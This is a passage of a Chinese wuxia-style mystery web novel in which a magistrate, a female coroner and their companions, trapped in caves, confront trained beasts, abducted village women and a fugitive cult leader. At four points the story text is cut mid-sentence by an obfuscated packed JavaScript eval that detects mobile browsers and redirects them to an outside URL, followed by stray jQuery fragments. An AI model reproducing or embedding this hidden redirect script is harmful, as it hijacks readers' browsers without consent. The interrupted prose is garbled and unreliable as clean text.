这种麻木蔓延得很快,几乎眨眼功夫,她的舌根也开始动弹不得,犹如一块木头。 她朝王珏望了过去,却见他面色苍白,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13071934|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好不到哪里去。 她正欲想法子缓解这种症状,突然眼前一黑,整个人一下子失去了重心,晕了过去。 也不知昏迷了多久,待到有意识之时,月夕隐约听到有阵阵水落石上的声音在耳边滴答作响。 她轻轻抬起眼皮,入眼的是一片漆黑,鼻腔里充斥着的都是腥臭的味道,比之乱葬岗的味道有过之而无不及。 “月夕?”不远处传来了王珏的声音。 月夕嗯了一声,给出回应。 一阵窸窣声过后,月夕顿觉有一只大手将她扶了起来,原来方才她竟是笔挺挺地趴在了地上。 “看来药劲还未散去。”王珏道,“你可能动?” 月夕这才想起要动动手指,发现竟真是不能动。 “莫慌,一会儿就好了。”王珏从怀里掏出一颗药丸,塞进月夕嘴里,“这是纳兰给的百毒丸。” 口腔里瞬即一片冰凉,待到月夕反应过来时,那颗药丸早已在她喉间化开,顺着食道融进腹腔,不一会儿,月夕渐渐找回了些许的触感与力气。 她试图开口,“这是哪里?” 话音刚落,两人皆是一愣,月夕的舌头还在麻木中,以至于说出来的话仿佛大舌头。 月夕顿觉脖子有些发红。 好在周围一片漆黑,无人看见。 “我们该是在河妖的老巢。”王珏清了清嗓音,道,“你可有何处不舒服?” 月夕摇了摇头。 王珏在旁边坐下,轻声在她耳边道:“可还记得秦娥楼的戚三娘?” 月夕嗯了一声表示回应。 王珏抿唇一笑,继续道:“我翻看了黎阳县近二十年的案牍卷宗,发现十九年前百鱼村曾发现一个硝石矿洞,后来发生了几起爆炸事件之后,便被封了。” 硝石与硫磺被点燃后才会发生爆炸,月夕轻咳了几声,表示不解。 王珏微微点头,继续:“案牍上说,当时是黎阳县县令亲自带人来封的,只是封完之后竟没有上报。” 矿石藏脉皆为国有,而当时的县令不上报,其意图很是显然。 “据穆村长所言,五年前袁正奎带人过来开荒种桑麻,只是才不过多久,开荒的壮年都死了,又流传出河妖的传说,这一切委实巧合了些。” 王珏道,“想来袁正奎原本是打算找个地方安顿那些孩子,偏僻又闭塞的龙雨村以及有前科的穆村长正符合他的条件,只是没想到竟是让他们发现了矿洞所在,为了遮掩,便向那些壮年下了手。” 月夕眨了眨眼,心口残留的那些气焰一下子全消了。原来他故意对穆家三起命案放任不管,并不只是对她能力的试探,也是对穆村长的试探。 只是,这些与秦娥楼的戚三娘又有何关系? “哎哟!”不远处隐约传来一个女子的声音,“羿哥哥,阿兄,我的腿好像不能动了!我的脑袋也好疼啊!” “让你好好待着你非不听,怎么样,现在舒服了吧?” “阿兄!我这不是为了救你们嘛!谁让那该死的老头去又复返,还那么凶,我一时没反应过来——对了,”她突然顿住,“月夕姊姊和潜之哥哥呢?” 这边的月夕蹙眉,没想到苏兰他们也被丢到这里了。 72. 兽 唰的一声,有一点火光自不远处照映开来,月夕眯了眯眼,眼前的境况渐渐清晰,原来他们此时正身处一处山洞中。 “什么东西!” 苏兰脚下不知踩到了什么东西,倏地头皮发麻惊叫出了声,整个人猛地挂在了一旁一声不吭的纳兰羿身上,苏朗被她这么一吓,也没镇定到哪里去,拽起纳兰羿的另外一只胳膊挂了上去。 “什么东西?”这一回是苏朗的惊叫,只不过是问句。 纳兰羿轻轻叹了一声,“不过是几个骷髅骸骨罢了,都给我下去。” 苏朗长舒一口气,但还是死死地抓住纳兰羿的胳膊不放,“这地上似乎不是很干净啊,是不是还有别的什么东西……” 话音刚落,一阵阴冷的风呼地一声吹过,他们手里的火折子瞬间灭了。 苏朗旋即脊背一凉,紧了紧纳兰羿的胳膊,颤颤巍巍道,“纳兰兄,若是我没看错的话,方才是不是有什么东西飘过去了?” 将脑袋埋进纳兰羿肩窝的苏兰更是害怕地连声音都在颤抖,“阿兄你快别说了!我害怕!” 纳兰羿又是一阵叹息,“都给我下来!我拿不出东西了!” 苏朗这才察觉自己似乎将纳兰羿身上的所有囊袋都压住了,他不情不愿地稍稍从纳兰羿身上挪下来半寸,手依旧紧紧抓住纳兰羿的肩膀,就怕下一刻,纳兰羿会抛下他直接跑了。 黑暗中的纳兰羿无奈地摇了摇头,从腰间扯下一个囊袋,又从里头抓出一把粉末往周围洒了一圈。 粉末十分呛鼻,惹得苏兰苏朗都咳了起来,“这是何物?” “百毒粉。”纳兰羿冷着脸道。 苏朗呼地捂住嘴巴,诧异道,“就是那个只要活物闻一闻就中毒晕过去的百毒粉?” “嗯。”纳兰羿毫不客气地将身上的苏兰扯下往苏朗怀里一丢,并分别给二人塞了一粒药丸,“后面跟着。” 兄妹二人瞬即老实了,只是这洞|穴实在潮黑,几人还没走几步,就又停了下来。 “纳兰兄,可是发现了什么?” 纳兰羿不语,只换了个方向,边撒百毒粉边往前走。 十几步之后,纳兰羿再次停了下来。 紧紧揪着纳兰羿肩膀闭着眼跟着的苏朗再道,“纳……纳兰兄?” “堂堂朝廷命官,躲在此处吓唬小百姓,可不厚道。”纳兰羿扯下苏朗的手,十分镇定地往前走了几步,又蹲了下来。 坐靠在一旁的王珏微微挑了挑眉,道,“本县不过是瞧着你们勇猛又相处默契,便暂且旁观了一会儿罢了。” 纳兰羿冷哼一声,趁黑摸上了王珏与月夕的手腕,不一会儿,道,“那穆村长还真瞧得起你们。” 听到王珏的声音,苏朗苏兰两兄妹这才缓过神来,苏兰仿佛是寻到了什么救命稻草,也不管环境如何漆黑,循着声音就往月夕走去,路上也不知踩到了什么,险些冲出去。 “月夕姊姊,终于找到你了!”直到摸到月夕的胳膊,苏兰这才舒了一口气,心中高悬的石头也随之落了地。 苏朗也凑了过来,问:“什么叫那老头瞧得起他们啊?” “先是给他们下蒙汗药,又是给他们下慢性毒|药,最后还给他们下软筋散,要不是我的百毒丸,他二人怕是不知要死多少回。” 纳兰羿哼得一声,又从另外一只囊袋中拿出两粒药丸,分别塞进两人的口中,“就带出来这么几颗,全都给你们嚯嚯完了。” “多谢纳兰医生。”王珏道。 纳兰羿摸索着在一块看似干净的凸起石头上坐了下来,“要谢就谢他们吧。” 苏朗咧嘴一笑,即便是在黑暗中也能看到他那两排因为得意而露出的牙齿,“不必不必,咱们可是过命的交情,说谢那可就见外了!” “你们为何会过来?”沉默了许久的月夕突然开口,打断了苏朗的得意。 苏兰道:“还不是因为那些孩子!” 王珏挑眉,“怎么说?” 苏兰:“你们走后不久,那浑身骨折的孩子就失踪了,我和阿兄满县城找人,最终得知他出了城,于是我们就拽上了羿哥哥一路寻了过来,没成想竟是寻到了龙雨村。更没想到的是,刚寻到村长家就遇上了你们。” 她顿了顿:“潜之哥哥,你们当真没见过那个孩子吗?” “不曾。”王珏摇头。 苏兰惋惜地叹了口气,想了想又道,“来时听闻龙雨村里有只河妖,潜之哥哥,你说那孩子会不会被河妖叼走吃了呀?” 说着,她又挠了挠头,“不对啊!不是说龙雨村是个凶村,没什么人住了么?” “是啊是啊!”苏朗凑过来,“而且我瞧村子里住着的大部分都是些老弱妇孺,没几个男子,她们难道不怕吗?” “怕什么?”纳兰羿冷声道,“不过是以讹传讹,达到某种目的罢了。” “什么目的?”苏兰苏朗同时扭头,异口同声问。 纳兰羿微微一顿,却听王珏道,“纳兰兄说得不错,那些传闻也不过是想掩盖一些见不得人的事罢了。” “什么事?”苏兰苏朗又同时扭头看向王珏,异口同声问。 王珏微微挑眉,若有所指地环顾了一周:“譬如此地,便是那食人河妖的巢穴。” 苏兰头皮一麻,瞬即抓住了月夕的胳膊,而苏朗则是就近攀上了纳兰羿的肩,试探道,“潜之啊,这种事可不能乱开玩笑啊。” “噤声。”许久没说话的月夕忽然道,“有东西。” 两人顿时收了声,纷纷抱住怀里的胳膊死死不放,黑暗中,只留下几人相互交错的呼吸声。 好一会儿,正当几人以为是月夕幻听时,不远处传来了一阵窸窸窣窣的声音。 那声音听起来有些急促,还伴随着几声低沉繁复的怪声,更重要的时,这怪声中还散杂着一丝野兽的低吼。 月夕心尖一紧,前不久她与王珏在沼泽遇到过这东西。 众人还未反应过来,一个黑色的影子如风一般带着一阵十分浓重难闻的腥臭味,毫无预兆地冲了过来。 月夕只觉腰间一紧,下一刻她便撞进了一个温暖的胸膛中,呼吸之间便闻到了王珏身上那股独特的茶香味。 她正要说话,便觉身子一轻,耳边有风呼啸而过。 他竟是用了轻功将她带离了方才那个地方。 “屏住呼吸。”王珏的声音从头顶传来,月夕闻言下意识地闭上了嘴,并止住了呼吸。 不过一会儿,月夕便觉双脚落了地,漆黑的洞穴里根本看不清什么东西,但好在洞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100302|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中声音不多,能听到些许的回音以及苏兰苏朗兄妹俩的惊叫声。 没过多久,回音渐渐减小,苏兰苏朗也不再发出声响,被护在王珏怀里的月夕觉着自己有了些力气,试图将他推开,“结束了吗?” 王珏任由她推,丝毫未动,等到月夕意识到自己推不动又回到初始姿态时,才暗暗抿唇一笑,“嗯,结束了。” 他很是留恋月夕被护在自己怀中的感觉,也只有在此时,怀里那如猫儿般的小娘子才无比地温顺可人。 他闭上眼,贪恋地吸了一口来自她身上独特的皂角香,才轻柔地将她放开,“别怕,竹心和飞燕都在。” 话音刚落,两道黑影从天而降,倏地到达两人面前,不远处有火光闪动,趁着火光,月夕也看清了来人,正是竹心与飞燕。 只是两人身上满是血迹,手背、脖颈、脸颊等处都有不同程度的伤,想来方才定然殊死搏斗过。 “郎君。”竹心道,“我与飞燕看了一圈,这附近类似这样的洞窟有二十几个,几乎每个洞窟里都有七八条那东西,像是有人专门饲养。” 月夕问:“何物?” 竹心比划着:“那东西体长约莫七八尺,状似蜥蜴,吻短,背部与尾部都长有厚重的鳞甲,攻击性不弱。” “鼍。”月夕脱口而出。 竹心蹙眉,“那是何物?” 王珏道:“是一种与龙凤齐名的神兽。” “神……神兽?”苏朗闻声而来,十分不淡定,“那咱们方才岂不是杀了神兽?” “也不过是一种活得比较久的兽类罢了。”月夕边说着边往鼍的尸体走去。 火折子的光忽闪忽闪的,月夕看到面前正躺着一只巨兽的尸体,这兽体长大约七尺左右,短吻尖牙,状似蜥蜴,背部与尾部的鳞甲十分厚重,果然是一只鼍,而且还是一只成年的鼍。 月夕蹲下|身细细看了起来,却见这鼍背的鳞甲上都有不同程度的刀剑痕,从痕迹的排布以及深浅程度上看,飞燕与竹心怕是用了十分的力道,即便如此,这只鼍似乎并没有伤到分毫。 它的双眼已被刺瞎,流下两行血泪,口处还流淌着又细又密白色泡沫,吻部缩短,但牙齿尖锐,颌部肌肉异常发达。好在此刻的它已然中毒死亡,莫不然以它的咬合力,直接将这里一众人咬死,也不过是时间问题。 苏兰凑了过来,边感叹世间还有如此凶猛兽类边心有余悸:“要不是羿哥哥的毒,竹心飞燕怕是还要与它耗上好久!月夕姊姊,咱们还是快些回去吧,我有些害怕。” 这洞窟分明是为喂养鼍而修,哪里有这么容易出去?月夕蹙了蹙眉,又问竹心,“这附近的洞窟可否相连?” 竹心点点头,似是又想到了什么,道:“糟了!这鼍像是对血与声音特别敏感!” 苏朗倏地惊叫出声,“完了!我们好像都有些受伤,这神兽会不会闻着味儿就杀过来了啊?” 话音刚落,不远处便传来了一阵一阵此起彼伏的兽类低吼声,听这阵仗,像是来了好些鼍,而且速度似是不慢。 “完了完了!”苏朗道:“咱们今日会不会就死在这里了吧?我……我还未挣满十万两呢!潜之,你快想想法……” “噤声!”王珏冷冷道,“先找个高处躲起来。” 73. 别来无恙 话音落下刹那,所有火折子旋即熄灭,王珏带着月夕,飞燕带着苏兰,竹心带着苏朗与纳兰羿,纷纷往洞窟高处而去。 好在窟壁经年累月早已不规则,还有好些石头凸出,正好能架住几人。 众人屏住呼吸,往下望去,属于猛兽的低吼喘息声此起彼伏不绝于耳,一片漆黑里,众人甚至能看到堆积在一起的猛兽的眼睛。 苏朗见状,几乎浑身颤栗不敢动弹,苏兰更是将自己牢牢贴在穴壁之上,不敢有任何吸引底下那些东西注意的举动,纳兰羿则是静静地观察着,月夕原本也想观察,只没想到王珏竟是将她牢牢锢在怀中,她连抬起头都困难。 底下那些东西似乎很有耐性,大约过了一炷香的时间,它们竟依旧蹲在下头一动不动,抬着头盯着高处的他们。 面对这样的情势,苏朗终究没忍住,冲王珏小声道,“潜之,你快想想法子,再这么下去怕是会撑不下去,那些东西可是神兽啊!” 他才说完,果然还是惊动了下面的东西,它们纷纷抬头,突然冲着苏朗发出无尽的响鼻声与低吼声。 苏朗被这突如其来的声音吓得腿软,险些从上头掉下来,但一想到他们一个在上一个在下,且下头的东西上不来,便稍稍松了口气,连说话声也不打算掩饰了。 “潜之,你可想出法子没有?”苏朗再次焦急问道。 他身边的纳兰羿不耐烦了,“再乱动就把你踢下去,你若是跑得快,倒能勉强做个诱饵将它们引开,也不失一个好法子。” 苏朗慌了,“纳兰,你这么做有失道义了吧?” 纳兰羿在黑暗中瞥了他一眼,“你若再废话,我倒是也不介意做个背信弃义之人。” 苏朗随即闭上了嘴,然而他还没安静一会儿,又慌张得向王珏求救:“潜之……” “下去。” 许久没开口的月夕忽然道。 苏朗又迅速闭上了嘴,但想想又觉着委屈,正要申辩,却听王珏应了声好,随即方才还站在高处的两人竟是直接落了下去。 两人在一块石头上稳稳落住,月夕手里的火折子也随之亮了起来,暖黄色的火光倏地将周围照亮,上头的苏朗瞬间不淡定了。 “你们……我说你们……” 他还没说完,四面八方伺机而动的鼍们已然开始往月夕与王珏而来,苏朗面色忽然凝重了起来,他朝两人大声喊道,“你们快上来!快把火给灭了!” 两人对他的喊叫充耳不闻,手里的火折子反而更亮了些。 冲在前头的鼍已然在两人脚下,顺着火光望过去,那是一头比方才众人弄死的大两倍的鼍,它吻部的肌肉十分厚重坚硬,难以想象若是被它咬一口,四肢是否还在。 眼见着那只鼍靠近两人的脚,苏朗突然甩开牢牢拉着他的竹心,往两人摔去,苏兰哭着睁开眼,慌忙道,“月夕姊姊,潜之哥哥,阿兄,你们快上来!” 噗通一声,原以为自己能正正落在两人身侧的苏朗,终究是高估了自己,在火光的照映之下,众人眼见着他自上而下,不偏不倚,竟是正正地坐在了那只靠近月夕与王珏两人的鼍身上。 霎时间,洞窟中一片寂静。 寂静地只剩下众人紧张的呼吸声。 苏朗更是惊得不敢再动弹半分,整个人僵直得犹如一块石头。 完了,他堂堂京城苏家郎君,就要在这个暗无天日的洞|穴中,被这些老不死的神兽分尸下肚了! 正当他紧张地说不出话时,不远处传来一阵十分尖锐的哨声。 三短一长,三长一短,不过一瞬,围在众人面前的那些鼍竟是一个一个乖乖掉头走了。 苏朗胯|下那只更是猛地一甩尾,将其甩下之后,扬长而去。 洞窟另一侧有一道光隐隐照过来,这些鼍似是感应到了什么,纷纷往那道光爬去,从苏朗的角度来看,几十只大小不一身披厚重鳞甲状似蜥蜴的巨大鼍兽,扭动着腰肢往一处去,这画面实在令人头皮发麻。 他慌忙站起身,往月夕与王珏走去。 有了纳兰羿的药,月夕的体力也慢慢恢复,除了头还有些疼之外,倒也没什么其他的副作用了,远处那道光渐渐逼近,有三个身影自远而近款款而来。 待走近些,月夕才逐渐看清,那是三个身着布衣的女子,其中一个女子肩上还趴着一只幼鼍,此刻它似是睡得正香。 “几位,别来无恙。”中间的女子在不远处站定,朝几人福了福身。 她的声音一出,除了月夕与王珏,众人皆是一愣,原来来者竟是熟人。 中间那个是贞娘,左边的是淑娘,右边的则是一直躲在角落里唯唯诺诺,连头都没抬过几回的丽娘,那只幼鼍正趴在她的肩上。 苏朗也认出她们了,没等她们近前,就朝她们的方向指去,“你们!居然是你们!” 待一众鼍退去之后,贞娘这才上前,“抱歉了几位,用这种法子找寻你们也是无奈之举,怪只怪那姓穆的实在太狡猾了。” 苏朗迟疑地看了看她们,随后退了几步,将自己藏在月夕与王珏身后,此时上头的竹心与飞燕带着纳兰羿与苏兰也落了下来,几人亦是站在了月夕与王珏身后,霎时间,在这小小的洞窟之中,竟是隐约形成了一个两方对峙的局面。 一方是三个女子带着几十只鼍,另一方则是站在高地面色凝重的七人。 周围再次安静了下来,好一会儿,贞娘才道,“几位误会了,我们过来是要带你们出去的。” “穆村长可是死了?”月夕近前半步,问道。 贞娘没想到她会问这个,脸色旋即变了,“像他这种人难道不该死吗?” 月夕将目光移到了丽娘的肩上,心中那个关于穆府连环杀人案的真相拼图骤然完整了。 原来如此! “你这个毒妇!” 见月夕迟迟不说话,身后的苏朗总觉着气势输了一成,便指着贞娘破口大骂了起来。 “毒妇?呵……”贞娘不怒反笑,双手环胸看向他,“是,我的确是个毒妇,我甚至恨自己为何不更毒一些,早早将穆家人都了结了!” “贞娘,莫要动怒。”一旁的淑娘轻柔地拉过她的衣袖,柔声劝道,“慢慢说,慢慢说……” “可是因为阿芙蓉?”月夕忽然问。 淑娘正要回答,却被贞娘拦住,她轻瞥了一眼躲在月夕与王珏身后的苏朗,“看来仵作娘子已经猜到了,那我便不再隐瞒。” 她顿了顿,几乎咬牙切齿:“是。若非为了这该死的阿芙蓉解药,我们早已将穆家人碎尸万段。” “我问你,小宝、穆二娘与穆大身上的伤口,可是鼍所为?” “那是什么?”贞娘问。 月夕指了指丽娘肩头,“就是这东西。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13129992|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是。”贞娘肯定道,“他们不是口口声声说河妖不会对他们如何吗?我就要让他们看看,河妖到底听谁的!” 即便知道了真相,月夕依旧有些震惊,人体骨骼的坚硬程度她很清楚,没想到丽娘肩头这么个小小的东西,竟能生生将穆大的双脚咬断。 这该是多大的咬合力! 贞娘眼眶微红,似是有些破罐子破摔的架势,“仵作娘子猜得不错,起因确实是穆二娘抽走了我们藏在织布机中的那根瓷刀,那瓷刀是我们小心翼翼日以继夜打磨出来的,为的就是向穆大寻仇,可万万没想到,还未打磨完毕,竟还是被穆二娘发现了。” “你们……”苏兰紧紧拉着纳兰羿的衣袖,探出半个头,“你们当真是穆家人拐来的?” “是,也不全是。”贞娘道,“我们当中大部分是穆大通过关系买回来的,还有一部分是被骗劫来的。淑娘原本是个大户人家的嫡出娘子,一次元宵观灯节上,被人劫卖到此处。丽娘也本是良家女,被人哄去了妓|馆,辗转被穆大买来此地。而我……” 她冷笑一声,带着无尽的无奈与恨意,“我则是被亲夫亲手卖去了赌坊,兜兜转转来到了这里。” “那你们为何不逃?”苏兰再问。 “如何逃?”贞娘反问,“孩子都在这里,我们如何逃?逃了又能去哪里?谁家肯收留似我们这般的残花败柳?你说说,会有谁?” 连续的反问将苏兰逼得哑口无言,是啊,就连她自己,顶着个妖孽的名头就被弃了许多年,更何况一身的清白与清誉早已毁了个干净的她们。 她们根本逃不掉。 “即便如此,你们也不该指使这些东西残害孩子!”觉着输了气势的苏朗再一次站出来指着她们道。 贞娘气得脖颈都红了,她想说,却被淑娘拦了下来,“这位郎君误会了。” 淑娘一边安抚贞娘一边道:“郎君不知,若是没有我们,龙雨村怕是早就没孩子了。” 苏朗眨了眨眼表示不信,淑娘接着道:“我与贞娘是最早来村子的,那时候也想过逃跑,即便是被迫生下好几个孩子。可穆家人以孩子的性命为要挟,逼迫我们留下,如若不从,他们就要将我们的孩子丢进沼泽饲养河妖。” “起初我们自不信这里有什么河妖,直到我与贞娘偷偷来此处,亲眼瞧见这些东西啃食孩子时才……” 她有些哽咽,但还是很快平复心情,继续往下说:“贞娘的阿爷是猎户,自小习得一身驯兽的本事,我们用了整整三年!三年里,我们白日里假装乖巧迎合穆大,晚上趁其不备偷偷来此处驯养这些东西,功夫不负有心人,终于叫我们成功了。” 月夕问:“所以,这便是河妖只吃脾气差的孩子的传言由来?” “是。”淑娘咬牙,“那些目中无人浑身是恶的孩子,即便有人教养却还是那般,那倒不如直接喂了河妖罢了。” 她深吸一口气,继续道,“原本我们可以指使这些东西直接吃了穆家人,可万万没想到,五年来,穆大竟是给我们下|药,那药很是古怪,一旦断药便浑身不舒服,不仅脾气秉性像是换了个人,身上的伤也再没有好全过,甚至……甚至有十几个姊妹因着吃了那药而丢了命。是以,我们只好徐徐图之。” 月夕再问:“是谁在为你们医治?” 一直未曾出声,默默站在一旁仿佛透明人般的丽娘忽然道,“是我。” 74. 淮 阳 “我家曾是开药铺的。”丽娘细声细语道,“我还是……懂些药理的。” 众人不约而同地往丽娘望去,她肩上的鼍看上去不大,可她骨架身形都比淑娘与贞娘小,一经对比,她竟显得格外地娇小。 即便如此,她双目格外坚定,竟是叫人不得不信。 “这阿芙蓉的解药很难配置,就连纳兰山庄的弟子都要费上好一顿功夫,说来倒是巧了。”许久不曾说话的王珏忽然道,“站在我身后的正是纳兰山庄的弟子,也不知这位娘子用的什么药方?” 丽娘脖颈一缩,显然是被吓着了,贞娘忽得近前,指着王珏道:“独家药方岂可外传?” 王珏冷笑一声,“我看,你们根本就没有解药!” 贞娘被气得不行,眼眶一圈紫红,就连脖颈和双颊也红了起来,她愤怒地指着王珏,正要说话,可只说出一个“你”字之后,不知为何,竟再也说不出话了。 下一刻,却听噗通一声,她竟是直挺挺地往后倒了下去。 这一切发生地十分突然,就连身边的淑娘与丽娘都没反应过来。 月夕率先从高处下来,径自跑到她们面前,三指合拢搭上了贞娘的脉,脉象虚浮又狂躁,有急火攻心之象。 “顾娘子,还是让我来吧。”纳兰羿不知何时已至,话音才落便搭上了贞娘另一只手的脉络上。 淑娘与丽娘吓得蜷缩在了一团,丽娘更是死死抱住肩头那只小鼍,好像只有这样她就能获得无尽安全感一般。 月夕在两人不远不近处站定,问道:“到底发生了何事?贞娘体内为何还会有阿芙蓉?而且还伴有其他的毒?” 丽娘被她冰冷的问话吓着了,整个人躲在淑娘怀里瑟瑟发抖,淑娘亦是泪如雨下,说话时整个人都是抖着的,“其实方才……方才我们是骗你们的。” 她抽泣着,“这些鼍其实……其实是主人的,只是他有些……有些行动不便,是以叫我们将你们……引过去。” 她泪眼婆娑,视线有些模糊,但还是看向贞娘,“贞娘深知县尊大人是个好大人,仵作娘子是个好仵作,是以佯装应下后,想着一会儿借着混乱将你们放出去,可谁想……谁想那药竟是发作了……” 丽娘亦道,“贞娘姊姊最是善恶分明不过了,她是想,是想救你们的,可是……可是……” 说话间,纳兰羿已经给贞娘喂下了药丸,只是他并不知贞娘体内阿芙蓉到底是什么成分,另外一层又是什么毒,一时之间也不敢给她乱吃解药。 “她最近的药是何时吃下去的?”月夕问淑娘。 淑娘道,“就在七日前。” 月夕的脸色难得阴沉,若是几个时辰前服下的,她倒是能想法子通过针灸将其逼出来,可七日之前,那药怕是早已与贞娘融为一体,无法剔除。 “你们……你们还是快跑吧。”淑娘道,“这会儿跑兴许还来得及,主人的性情难以捉摸,若是被他抓住了,你们怕是……怕是会……” “呵呵,早听闻白眼狼养不熟,我还不信,如今一见,还真是。”一个稚童的声音在洞窟中响了起来,因着洞窟方向不明,空间飘渺,竟是不知这声音是从何处而来。 淑娘与丽娘浑身一震,竟是紧紧挨在了一起瑟瑟发抖。 若说方才她们眼里都是慌张,此刻却满是恐惧。 看她们没什么动静,稚童似是怒了,“还不快将所有人带过来?” “且慢。”王珏站直身子,朝声音的来处道,“敢问阁下是谁?为何要见我们?” 那稚童微微一愣,随即哈哈大笑了起来,好半晌后,他才停下笑声并啧啧道,“王珏,王潜之,没想到不过十年,你就把我给忘了。哈哈哈哈,果真是贵人多忘事。” 苏朗觉着不对,近前问:“此人是谁啊?潜之你认识他?” 就在方才,王珏在脑海中滤了好些人,却依旧对稚童是谁这个问题毫无头绪。 他摇了摇头。 “苏朗,苏家大郎,若不是顶着苏家长子的位置,你怕是同你那妖孽妹妹一道,被逐出苏家了吧?”稚童又啧啧道:“你二人同年同月同日生,却于一阴一阳之时出生,正是做炉鼎的绝佳料子,哎呀呀,啧啧啧,真是可惜了,若是当年将你一道逐出苏家,本座的修为定能再往上升一升。” 王珏一向沉稳,此刻也大惊失色,唇色竟也有些许发白,脊背与手心全是冷汗,“你是淮阳妖人!” “许久没有人这般叫本座了,本座是真有些不习惯呢。”稚童谈谈笑了笑,“既然已经知道本座是谁,还不快给本座滚过来?” 苏朗近前几步,用身形将苏兰等人死死护在身后,朝王珏喊了一声:“潜之,要去吗?” 王珏这才回过神,他默默地朝空虚的地方看了一眼,道,“去。” 十年前,南方出现了一个叫还阳的教派,据说能让人起死回生,断肢再续,教派之主自号还阳,大抵是口音的缘故,后来传得多了,便传成了淮阳。 教派创立之初,淮阳利用所谓秘术确实帮了好些人断肢重续,他也因此得了个在世神仙的名号,拥有了好些信徒。 然时值江南道巡抚路过,听闻此事后调查了一番才发现,所谓断肢重续起死回生根本都是谎言,大部分重续的肢体根本无法使用,甚至在之后的很长一段时日,被续断肢之人会时不时突然发癫,拔刀砍人更是常有发生。 不仅如此,这些人醒来时并不知晓自己发生过什么,更有甚者,有一部分人根本醒不过来,沦为傀儡。 很快巡抚成功剿灭其窝点,并将其所作所为公之于众,一时之间,在世神仙淮阳道人成了人人喊打的过街之鼠。 “这个我知道,当时京城人人都说,此人涉嫌谋反,还好后来被江南道巡抚给剿了,只是……”苏朗问向王珏,“只是听闻那个妖人使了个金蝉脱壳,逃走了。” “嗯。”王珏点点头,“逃走后他试图进京再行蛊惑之术,甚至想进宫,最终被人发现拦了下来。” “他竟是进过京?!”紧紧抓着月夕胳膊的苏兰惊诧地出了声,“怪不得他知道潜之哥哥、我和阿兄呢。这回不会又逃了吧?” 王珏摇头,“不,他被抓了,但因其擅长蛊惑人心,陛下下旨将其关在了诏狱中。” “可他……”苏兰欲言又止。 “是,他又用了一招金蝉脱壳,而且,”王珏顿了顿,许久才道,“诏狱中看守他的四个狱卒,几乎全都四肢错位,且脉络相连,至今未愈。” 苏兰不解,“四肢错位是什么意思?” 苏朗解释道,“就是那四人的四肢都是对方的,且是以脉络相连的。” 苏兰紧了紧抱着的月夕的臂膀,道:“那他会不会……” 一向吊儿郎当的苏朗严肃道,“他是个妖人,喜怒无常的,一会儿你切记莫要说话惹事!” 苏兰连连点头应是。 淑娘与丽娘骑着那只鼍,带着几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157346|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人穿过了好几个漆黑的洞窟,又绕了好几圈,最终在一个有光的洞口停了下来。淑娘与丽娘将贞娘从鼍背上小心翼翼地背下来,随后冲众人道,“到了。” 眼前是一个仅供两人通过的洞口,穿过这狭窄的洞口后,迎面便是一股湿潮的风,以及带着湿潮的光照。 那股光照是从洞顶照射下来的。 洞顶之上,还有一条自上而下的小小水流,水流之下,是一池浅水,池中有一小岛,岛上长着一棵几人合抱的槐树,粗壮的树干上正吊着一个人。 月夕眯了眯眼,那人不是旁人,正是已经失踪了许久的亓官彧。 此刻的他虽然还着寸缕,四肢百骸却是血肉模糊,唯独那张脸是干净的。他紧闭着眼,像是昏死过去了。 月夕蹙起了眉。 除了那池水外,洞窟中还摆放了好些床具以及器具,有几张床具上还躺着人,分别用白叠布盖着。 床具在往里一些便是一排排盛放药品的药格,药格之后,是两个炼丹炉子,其中一个里头还冒着烟,像是在炼着什么药丹。 几人没走几步,便停下了,这洞窟里除了树上吊着的,床具上躺着的,便没其他活人了。 苏朗与王珏相对一视,纷纷拿出了自己的护身的武器。 王珏拿出的是一把扇子,而苏朗则是将手扶在腰带上,轻轻一抽,一把软剑被他抽了出来。 苏朗挠了挠头,“许久没用过了,也不知还有没有那手感。” 王珏道,“护好他们。” 言罢,他便往躺着人的床具走去。 